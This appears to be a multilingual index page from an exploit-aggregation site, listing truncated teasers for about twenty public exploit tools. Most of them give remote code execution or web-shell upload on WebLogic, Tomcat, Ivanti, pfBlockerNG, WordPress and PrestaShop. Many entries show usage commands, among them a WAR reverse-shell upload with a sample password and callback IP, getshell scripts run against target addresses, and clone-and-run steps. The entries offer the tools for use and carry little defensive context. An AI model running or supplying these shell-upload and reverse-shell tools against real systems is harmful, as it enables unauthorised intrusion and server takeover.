exploits

익스플로잇 Xiphos Research에서 테스트 목적으로 작성한 다양한 개념 증명 익스플로잇 코드 모음. 현재 익스플로잇 목록 인덱스는 최신이 아닐 수 있음 phpMoAdmin 원격 코드 실행 CVE-2015-2208 LotusCMS 원격 코드 실행 OSVDB-75095 ElasticSearch 원격 코드 실행 CVE-2015-1427 ShellShock httpd 원격 코드 실행 CVE-2014-6271 IISlap - http.sys 서비스 거부/RCE PoC DoS만 해당. MS-15-034 se0wned -...

warsend

WARSend Upload de shell WAR via l'API Apache Tomcat Manager Prérequis Identifiants Accès à l'API Text du gestionnaire Tomcat root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // /...

Cgi-Exploit-Jp-Shell-Upload

Cgi-Exploit-Jp-Shell-Upload Python 2.7 읽어 보세요 : 이 Python 도구를 편집기에서 열거나 코드 일부를 삭제하지 마세요. 오류가 발생할 수 있습니다. 오류가 발생하면 이 Github에서 다시 설치해 주세요. 감사합니다. 또한 예제 사이트 http://site.com 앞에 http://를 사용하세요. 기부 : BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money : U22270614...

CVE-2018-2628

Воспроизведение уязвимости десериализации WebLogic CVE-2018-2628 Получение оболочки weblogic python CVE-2018-2628-Getshell.py ip port shell1.jsp root@kitploit: C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | ...

CVE-2023-34960

CVE-2023-34960 Chamilo 명령 주입 자동 업로드 셸 포함. 자신의 로직을 사용하세요 취약점 결과에서 경로 디렉터리를 확인하면 wso.php 접근 셸을 찾을 수 있습니다. 설치 및 실행 방법 root@kitploit: $ git clone https://github.com/Mantodkaz/CVE-2023-34960 $ cd CVE-2023-34960 $ pip install -r requirements.txt $ python3 finder.py 참고 더 많은 명령어를 위해 finder.py의 66번째 줄을 직접...

CVE-2018-2380

CVE-2018-2380 CVSS v3 Score de base : 6.6/10 Preuve de concept d'exécution de commandes à distance via injection de logs sur SAP NetWeaver AS JAVA CRM Exemple d'utilisation du script root@kitploit: python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 est une vulnérabilité critique trouvée dans Ivanti Connect Secure, permettant l'exécution de commandes à distance RCE via une exploitation de débordement de tampon. Cette vulnérabilité permet aux attaquants de télécharger des fichiers malveillants par...

PanaceaSoft-0day-Exploit

PanaceaSoft-0day-Exploit PanaceaSoft todos los productos exploit 0day https://packetstormsecurity.com/files/157869/PanaceaSoft-Shell-Upload.html sin write-up leer: PHP Upload Handler de jQuery File Upload...

CVE-2023-6875

Ce que fait l'exploit Place un jeton qui vous permet de consulter les e-mails. Recherche le nom d'utilisateur de l'admin ; s'il ne le trouve pas, définit "admin" par défaut. Demande un lien pour réinitialiser le mot de passe de l'admin, qui est envoyé par e-mail à l'admin. Utilise le jeton placé ...

CVE-2023-5360

CVE-2023-5360 CVE-2023-5360 Téléchargement automatique de shell WordPress Royal Elementor 1.3.78 Téléchargement de shell...

CVE-2022-31814

CVE-2022-31814 Обновлённый эксплойт - pfBlockerNG = 2.1.426 Неавторизованный RCE CVE-2022-31814 Описание Этот скрипт является эксплойтом, подтверждающим концепцию, для pfBlockerNG = 2.1.426, который позволяет удалённо выполнять код. Он принимает один целевой URL или список URL, пытается загрузить...

CVE-2024-10793

CVE-2024-10793 PoC أضف هذه الأسطر إلى ملف hosts الخاص بك: root@kitploit: 127.0.0.1 goodcms.lab 127.0.0.1 attacker.com قم بتشغيل WordPress باستخدام docker: root@kitploit: $ sudo systemctl start docker $ sudo docker-compose up -d افتح http://goodcms.lab:2121 ونفّذ خطوات تثبيت WordPress. ثبّت...

CVE-2023-50564

CVE-2023-50564 仅供教育目的使用。 此脚本利用 CVE-2023-50564 向目标服务器上传一个反向 PHP 壳。 你可以使用类似 这个 的壳。只需将 PHP 文件压缩成 zip，然后将 zip 传递给此脚本。 示例 root@kitploit: python3 cve-2023-50564.py -u http://idonot.exist -f shell.zip -p hunter2...

CVE-2024-37085

CVE-2024-37085 Nicht authentifizierter Shell-Upload zu vollständigem Administrator auf domänengebundenen esxi-Hypervisoren. Herunterladen ESXIVORTEX Details: eine Authentifizierungsumgehung, die zu einem Shell-Upload im Kontext von vpxuser führt, was zu vollständiger Administratorberechtigung auf...

CVE-2022-31814

pfBlockerNG = 2.1.426 Неавторизованный RCE Этот скрипт является эксплойтом для проверки концепции для pfBlockerNG = 2.1.426, который позволяет выполнять удаленный код. Он принимает один целевой URL или список URL, загружает оболочку, выполняет команду, а затем удаляет оболочку. Требования Этот...

CVE-2024-50379-POC

CVE-2024-50379-POC Ce dépôt contient un script Python conçu pour exploiter CVE-2024-50379 , une vulnérabilité qui permet à un attaquant de télécharger un shell JSP sur un serveur vulnérable et d'exécuter des commandes arbitraires à distance. Cette exploitation est particulièrement utile lorsque l...

CVE-2022-31814

Baixar CVE-2022-31814 Este script explora uma vulnerabilidade no pfSense para enviar um shell, executar um comando e, em seguida, excluir o shell. Requisitos Python 3.x Biblioteca requests Instalação 1. Clone o repositório ou baixe o script. 2. Instale as bibliotecas Python necessárias:...

CVE-2017-10271

संक्षिप्त विवरण कमांड निष्पादन और प्रतिध्वनि सीधे शेल अपलोड करें लिनक्स पर वेबलॉजिक 10.3.6.0 के साथ परीक्षण सफल उपयोग विधि python weblogicwlswsatexp.py -t 172.16.80.131:7001 root@kitploit: usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this...

Kintol_Shell_Upload

KintolShellUpload python 2.7...

Prestashop-CVE-2024-34716

Script de Exploração para Ataque CSRF e Reverse Shell Este script automatiza um exploit de CSRF Cross-Site Request Forgery para enviar um reverse shell PHP para o servidor web do alvo e executá-lo. O reverse shell é entregue como um arquivo ZIP através de um payload CSRF elaborado, que é acionado...